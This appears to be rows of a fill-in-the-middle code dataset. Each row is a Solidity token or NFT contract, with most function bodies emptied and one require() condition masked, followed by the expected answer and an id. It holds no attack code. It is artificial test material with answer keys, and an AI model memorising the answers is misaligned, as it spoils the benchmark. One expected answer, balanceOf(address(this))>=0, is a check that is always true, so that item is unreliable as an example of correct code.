function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Trial is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address operationsAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
mapping (address => bool) public bot;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event BuyBackTriggered(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20(unicode"Trial", unicode"TRIAL") {
}
receive() external payable {}
// only enable if no plan to airdrop
function enableTrading() external onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function manageBoughtEarly(address wallet, bool flag) external onlyOwner {
}
function massManageBoughtEarly(address[] calldata wallets, bool flag) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function airdropToWallets(address[] memory wallets, uint256[] memory amountsInTokens) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
require(<FILL_ME>)
if(limitsInEffect){
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(dexRouter) && to != address(lpPair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later.");
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
}
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount * sellTotalFees / 100;
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForOperations += fees * sellOperationsFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForOperations += fees * buyOperationsFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
}
| !bot[from]&&!bot[to],"Bots cannot transfer tokens in or out except to owner or dead address." | 61,820 | !bot[from]&&!bot[to] |
"No tokens to swap" | /**
https://t.me/TrialToken
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Trial is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address operationsAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
mapping (address => bool) public bot;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event BuyBackTriggered(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20(unicode"Trial", unicode"TRIAL") {
}
receive() external payable {}
// only enable if no plan to airdrop
function enableTrading() external onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function manageBoughtEarly(address wallet, bool flag) external onlyOwner {
}
function massManageBoughtEarly(address[] calldata wallets, bool flag) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function airdropToWallets(address[] memory wallets, uint256[] memory amountsInTokens) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
require(<FILL_ME>)
swapping = true;
swapBack();
swapping = false;
emit OwnerForcedSwapBack(block.timestamp);
}
}
| balanceOf(address(this))>=0,"No tokens to swap" | 61,820 | balanceOf(address(this))>=0 |
"unable to transfer" | /* SPDX-License-Identifier: apache-2.0 */
/**
* Copyright 2019 Monerium ehf.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.8.11;
import "@openzeppelin/contracts/utils/Address.sol";
import "./IERC677Recipient.sol";
import "./TokenStorage.sol";
import "./ERC20Lib.sol";
/**
* @title ERC677
* @dev ERC677 token functionality.
* https://github.com/ethereum/EIPs/issues/677
*/
library ERC677Lib {
using ERC20Lib for TokenStorage;
using Address for address;
/**
* @dev Transfers tokens and subsequently calls a method on the recipient [ERC677].
* If the recipient is a non-contract address this method behaves just like transfer.
* @notice db.transfer either returns true or reverts.
* @param db Token storage to operate on.
* @param caller Address of the caller passed through the frontend.
* @param to Recipient address.
* @param amount Number of tokens to transfer.
* @param data Additional data passed to the recipient's tokenFallback method.
*/
function transferAndCall(
TokenStorage db,
address caller,
address to,
uint256 amount,
bytes calldata data
)
external
returns (bool)
{
require(<FILL_ME>)
if (to.isContract()) {
IERC677Recipient recipient = IERC677Recipient(to);
require(
recipient.onTokenTransfer(caller, amount, data),
"token handler returns false"
);
}
return true;
}
}
| db.transfer(caller,to,amount),"unable to transfer" | 61,848 | db.transfer(caller,to,amount) |
"token handler returns false" | /* SPDX-License-Identifier: apache-2.0 */
/**
* Copyright 2019 Monerium ehf.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.8.11;
import "@openzeppelin/contracts/utils/Address.sol";
import "./IERC677Recipient.sol";
import "./TokenStorage.sol";
import "./ERC20Lib.sol";
/**
* @title ERC677
* @dev ERC677 token functionality.
* https://github.com/ethereum/EIPs/issues/677
*/
library ERC677Lib {
using ERC20Lib for TokenStorage;
using Address for address;
/**
* @dev Transfers tokens and subsequently calls a method on the recipient [ERC677].
* If the recipient is a non-contract address this method behaves just like transfer.
* @notice db.transfer either returns true or reverts.
* @param db Token storage to operate on.
* @param caller Address of the caller passed through the frontend.
* @param to Recipient address.
* @param amount Number of tokens to transfer.
* @param data Additional data passed to the recipient's tokenFallback method.
*/
function transferAndCall(
TokenStorage db,
address caller,
address to,
uint256 amount,
bytes calldata data
)
external
returns (bool)
{
require(
db.transfer(caller, to, amount),
"unable to transfer"
);
if (to.isContract()) {
IERC677Recipient recipient = IERC677Recipient(to);
require(<FILL_ME>)
}
return true;
}
}
| recipient.onTokenTransfer(caller,amount,data),"token handler returns false" | 61,848 | recipient.onTokenTransfer(caller,amount,data) |
"Max supply exceeded!" | pragma solidity 0.8.4;
contract TheGrindsetters is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// Variables
string public uri;
string public hiddenMetadataUri =
"ipfs://QmPUSup9nR3eFj5g4PF4qigFFE1TfbMYo8Q153M1eW8xG5/hidden.json";
string public uriSuffix = ".json";
uint256 public costFree = 0 ether;
uint256 public costPayable = 0.0069 ether;
uint256 public supplyLimit = 10005;
uint256 public reserved = 500;
uint256 public maxMintAmountPerTx = 3;
uint256 public maxLimitPerWallet = 4;
uint256 public freeMintPerWallet = 1; // Last x item free, if set to 0, free mint not allowed
bool public sale = false;
bool public revealed = false;
address[] public beneficiaryList = [
0xe5BdC05bC7227c9B735Ed504B8813b6B9D3BEa09, // Team wallet address
0x3546BD99767246C358ff1497f1580C8365b25AC8, // Gotrilla
0x3715E016B18b25D1f320Db75dfc16E0dbc992dA8 // Charity
];
uint256[] public beneficiaryPercents = [
82, // Team wallet address
8, // Gotrilla
10 // Charity
];
// End of Variables Functions
// Constructor
constructor(string memory _uri) ERC721A("TheGrindsetters", "GRND") {
}
// End of Constructor
// Mint Functions
function CalculateCost(
uint256 _balance,
uint256 _mintAmount
) internal view returns (uint256 _cost) {
}
function Mint(uint256 _mintAmount) public payable {
//Dynamic Price
uint256 limitPerTx = maxTokenPurchasePerTx();
uint256 limitPerWallet = maxTokenPurchasePerWallet();
// Normal requirements
require(sale, "The Sale is paused!");
require(
_mintAmount > 0 && _mintAmount <= limitPerTx,
"Invalid mint amount!"
);
require(<FILL_ME>)
require(
balanceOf(msg.sender) + _mintAmount <= limitPerWallet,
"Max mint per wallet exceeded!"
);
require(
msg.value >= CalculateCost(balanceOf(msg.sender), _mintAmount),
"Insufficient funds!"
);
// Mint
_safeMint(_msgSender(), _mintAmount);
}
function ReserveMint(
uint256 _mintAmount,
address _receiver
) external onlyOwner {
}
// End of Mint Functions
// Set Functions
function setRevealed(bool _state) public onlyOwner {
}
function setUri(string memory _uri) public onlyOwner {
}
// sales toggle
function setSaleStatus(bool _sale) public onlyOwner {
}
// max per tx
function setMaxMintAmountPerTx(
uint256 _maxMintAmountPerTx
) public onlyOwner {
}
function setmaxLimitPerWallet(uint256 _maxLimitPerWallet) public onlyOwner {
}
function setPayableCost(uint256 _cost) public onlyOwner {
}
function setFreeCost(uint256 _cost) public onlyOwner {
}
// End of Set Functions
// Withdraw Functions
function withdraw() public onlyOwner nonReentrant {
}
// End of Withdraw Functions
// Read Functions
function maxTokenPurchasePerTx() public view returns (uint256 _limitPerTx) {
}
function maxTokenPurchasePerWallet()
public
view
returns (uint256 _limitPerWallet)
{
}
function price() public view returns (uint256 _cost) {
}
function tokensOfOwner(
address owner
) external view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(
uint256 _tokenId
) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
// End of Read Functions
}
| totalSupply()+_mintAmount+reserved<=supplyLimit,"Max supply exceeded!" | 61,884 | totalSupply()+_mintAmount+reserved<=supplyLimit |
"Max mint per wallet exceeded!" | pragma solidity 0.8.4;
contract TheGrindsetters is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// Variables
string public uri;
string public hiddenMetadataUri =
"ipfs://QmPUSup9nR3eFj5g4PF4qigFFE1TfbMYo8Q153M1eW8xG5/hidden.json";
string public uriSuffix = ".json";
uint256 public costFree = 0 ether;
uint256 public costPayable = 0.0069 ether;
uint256 public supplyLimit = 10005;
uint256 public reserved = 500;
uint256 public maxMintAmountPerTx = 3;
uint256 public maxLimitPerWallet = 4;
uint256 public freeMintPerWallet = 1; // Last x item free, if set to 0, free mint not allowed
bool public sale = false;
bool public revealed = false;
address[] public beneficiaryList = [
0xe5BdC05bC7227c9B735Ed504B8813b6B9D3BEa09, // Team wallet address
0x3546BD99767246C358ff1497f1580C8365b25AC8, // Gotrilla
0x3715E016B18b25D1f320Db75dfc16E0dbc992dA8 // Charity
];
uint256[] public beneficiaryPercents = [
82, // Team wallet address
8, // Gotrilla
10 // Charity
];
// End of Variables Functions
// Constructor
constructor(string memory _uri) ERC721A("TheGrindsetters", "GRND") {
}
// End of Constructor
// Mint Functions
function CalculateCost(
uint256 _balance,
uint256 _mintAmount
) internal view returns (uint256 _cost) {
}
function Mint(uint256 _mintAmount) public payable {
//Dynamic Price
uint256 limitPerTx = maxTokenPurchasePerTx();
uint256 limitPerWallet = maxTokenPurchasePerWallet();
// Normal requirements
require(sale, "The Sale is paused!");
require(
_mintAmount > 0 && _mintAmount <= limitPerTx,
"Invalid mint amount!"
);
require(
totalSupply() + _mintAmount + reserved <= supplyLimit,
"Max supply exceeded!"
);
require(<FILL_ME>)
require(
msg.value >= CalculateCost(balanceOf(msg.sender), _mintAmount),
"Insufficient funds!"
);
// Mint
_safeMint(_msgSender(), _mintAmount);
}
function ReserveMint(
uint256 _mintAmount,
address _receiver
) external onlyOwner {
}
// End of Mint Functions
// Set Functions
function setRevealed(bool _state) public onlyOwner {
}
function setUri(string memory _uri) public onlyOwner {
}
// sales toggle
function setSaleStatus(bool _sale) public onlyOwner {
}
// max per tx
function setMaxMintAmountPerTx(
uint256 _maxMintAmountPerTx
) public onlyOwner {
}
function setmaxLimitPerWallet(uint256 _maxLimitPerWallet) public onlyOwner {
}
function setPayableCost(uint256 _cost) public onlyOwner {
}
function setFreeCost(uint256 _cost) public onlyOwner {
}
// End of Set Functions
// Withdraw Functions
function withdraw() public onlyOwner nonReentrant {
}
// End of Withdraw Functions
// Read Functions
function maxTokenPurchasePerTx() public view returns (uint256 _limitPerTx) {
}
function maxTokenPurchasePerWallet()
public
view
returns (uint256 _limitPerWallet)
{
}
function price() public view returns (uint256 _cost) {
}
function tokensOfOwner(
address owner
) external view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(
uint256 _tokenId
) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
// End of Read Functions
}
| balanceOf(msg.sender)+_mintAmount<=limitPerWallet,"Max mint per wallet exceeded!" | 61,884 | balanceOf(msg.sender)+_mintAmount<=limitPerWallet |
"Exceeds maximum supply" | pragma solidity 0.8.4;
contract TheGrindsetters is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// Variables
string public uri;
string public hiddenMetadataUri =
"ipfs://QmPUSup9nR3eFj5g4PF4qigFFE1TfbMYo8Q153M1eW8xG5/hidden.json";
string public uriSuffix = ".json";
uint256 public costFree = 0 ether;
uint256 public costPayable = 0.0069 ether;
uint256 public supplyLimit = 10005;
uint256 public reserved = 500;
uint256 public maxMintAmountPerTx = 3;
uint256 public maxLimitPerWallet = 4;
uint256 public freeMintPerWallet = 1; // Last x item free, if set to 0, free mint not allowed
bool public sale = false;
bool public revealed = false;
address[] public beneficiaryList = [
0xe5BdC05bC7227c9B735Ed504B8813b6B9D3BEa09, // Team wallet address
0x3546BD99767246C358ff1497f1580C8365b25AC8, // Gotrilla
0x3715E016B18b25D1f320Db75dfc16E0dbc992dA8 // Charity
];
uint256[] public beneficiaryPercents = [
82, // Team wallet address
8, // Gotrilla
10 // Charity
];
// End of Variables Functions
// Constructor
constructor(string memory _uri) ERC721A("TheGrindsetters", "GRND") {
}
// End of Constructor
// Mint Functions
function CalculateCost(
uint256 _balance,
uint256 _mintAmount
) internal view returns (uint256 _cost) {
}
function Mint(uint256 _mintAmount) public payable {
}
function ReserveMint(
uint256 _mintAmount,
address _receiver
) external onlyOwner {
require(_mintAmount <= reserved, "Exceeds reserved supply");
require(<FILL_ME>)
_safeMint(_receiver, _mintAmount);
}
// End of Mint Functions
// Set Functions
function setRevealed(bool _state) public onlyOwner {
}
function setUri(string memory _uri) public onlyOwner {
}
// sales toggle
function setSaleStatus(bool _sale) public onlyOwner {
}
// max per tx
function setMaxMintAmountPerTx(
uint256 _maxMintAmountPerTx
) public onlyOwner {
}
function setmaxLimitPerWallet(uint256 _maxLimitPerWallet) public onlyOwner {
}
function setPayableCost(uint256 _cost) public onlyOwner {
}
function setFreeCost(uint256 _cost) public onlyOwner {
}
// End of Set Functions
// Withdraw Functions
function withdraw() public onlyOwner nonReentrant {
}
// End of Withdraw Functions
// Read Functions
function maxTokenPurchasePerTx() public view returns (uint256 _limitPerTx) {
}
function maxTokenPurchasePerWallet()
public
view
returns (uint256 _limitPerWallet)
{
}
function price() public view returns (uint256 _cost) {
}
function tokensOfOwner(
address owner
) external view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(
uint256 _tokenId
) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
// End of Read Functions
}
| totalSupply()+_mintAmount<=supplyLimit,"Exceeds maximum supply" | 61,884 | totalSupply()+_mintAmount<=supplyLimit |
"Sale sold out" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol";
import "@boringcrypto/boring-solidity/contracts/BoringFactory.sol";
import "./MintSaleBase.sol";
/// @title NFTMintSale
/// @notice A contract for minting and selling NFTs during a limited time period.
/// @author @Clearwood
contract NFTMintSale is MintSaleBase {
using BoringERC20 for IERC20;
uint64 public maxMint;
uint128 public price;
event Created(bytes data);
event LogNFTBuy(address indexed recipient, uint256 tokenId);
/// @notice Initializes the NFTMintSale contract with the vibeFactory address.
/// @param vibeFactory_ The address of the SimpleFactory contract.
/// @param WETH_ The address of the WETH contract
constructor(
SimpleFactory vibeFactory_,
IWETH WETH_
) MintSaleBase(vibeFactory_, WETH_) {}
/// @notice Initializes the NFTMintSale with the provided data.
/// @param data The initialization data in bytes.
function init(bytes calldata data) public payable {
}
function _preBuyCheck(address recipient) internal virtual {}
function _buyNFT(address recipient) internal {
_preBuyCheck(recipient);
require(<FILL_ME>)
uint256 tokenId = nft.mint(recipient);
emit LogNFTBuy(recipient, tokenId);
}
/// @notice Buys a single NFT for the specified recipient.
/// @dev The payment token must be approved before calling this function.
/// @param recipient The address of the recipient who will receive the NFT.
function buyNFT(address recipient) public payable {
}
/// @notice Buys multiple NFTs for the specified recipient.
/// @dev The payment token must be approved before calling this function.
/// @param recipient The address of the recipient who will receive the NFTs.
/// @param number The number of NFTs to buy.
function buyMultipleNFT(address recipient, uint256 number) public payable {
}
}
| nft.totalSupply()<maxMint,"Sale sold out" | 61,981 | nft.totalSupply()<maxMint |
"Too much mints for this wallet!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract JanitorsNFTV2 is ERC721A, Ownable {
using ECDSA for bytes32;
uint constant public MAX_SUPPLY = 3800;
string public baseURI = "ipfs://QmViD5SmCXyxAK7aBtLNTV8r4BtCHE2up9LUUShN2XHKWu/";
uint public price = 0.002 ether;
uint public reservedSupply = 100;
uint public maxPresaleMintsPerWallet = 5;
uint public maxPublicMintsPerWallet = 5;
uint public presaleStartTimestamp = 1660057200;
uint public publicSaleStartTimestamp = 1660068000;
mapping(address => uint) public mintedNFTs;
mapping(address => uint) public presaledNFTs;
address public authorizedSigner = 0x1439bB6aa01238b5E2797F25FEEAA06aa92E454C;
bool osAutoApproveEnabled = true;
address public openseaConduit = 0x1E0049783F008A0085193E00003D00cd54003c71;
constructor() ERC721A("Janitors V2", "JANITORSV2", 10) {
}
function setBaseURI(string memory _baseURIArg) external onlyOwner {
}
function configure(
uint _price,
uint _reservedSupply,
uint _maxPresaleMintsPerWallet,
uint _maxPublicMintsPerWallet,
uint _presaleStartTimestamp,
uint _publicSaleStartTimestamp,
bool _osAutoApproveEnabled,
address _authorizedSigner
) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
